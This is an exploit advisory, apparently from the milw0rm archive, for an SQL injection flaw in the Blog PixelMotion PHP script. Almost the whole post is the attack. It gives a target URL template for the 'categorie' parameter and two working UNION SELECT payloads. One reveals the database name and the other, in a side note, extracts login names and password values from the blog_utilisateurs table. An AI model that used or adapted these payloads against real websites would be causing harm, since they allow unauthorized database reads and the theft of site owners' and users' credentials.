21 lines
No EOL
1,004 B
Text
21 lines
No EOL
1,004 B
Text
Blog Pixel Motion Sql Injection Vulnerability
|
|
-------------------------------------------------------------------------------------------------
|
|
# Author : parad0x
|
|
# Home : www.inso.host.sk
|
|
# Script : Blog PixelMotion
|
|
# Download : http://www.pixelmotion.org/zip/blog.zip
|
|
-------------------------------------------------------------------------------------------------
|
|
http://[target]/index.php?categorie=[SQL]
|
|
|
|
-------------------------------------------------------------------------------------------------
|
|
Example:
|
|
|
|
http://www.xxx.org/blog/index.php?categorie=-1+union+select+0,1,2,database(),4,5,6/*
|
|
-------------------------------------------------------------------------------------------------
|
|
greetz : VoLqaN
|
|
-------------------------------------------------------------------------------------------------
|
|
|
|
side note (thanks C0D3R-DZ):
|
|
http://localhost/[script_path]/index.php?categorie=-1+union+select+1,2,concat(login,0x3a,pass),4,5,6+from+blog_utilisateurs/*
|
|
|
|
# milw0rm.com [2008-04-06] |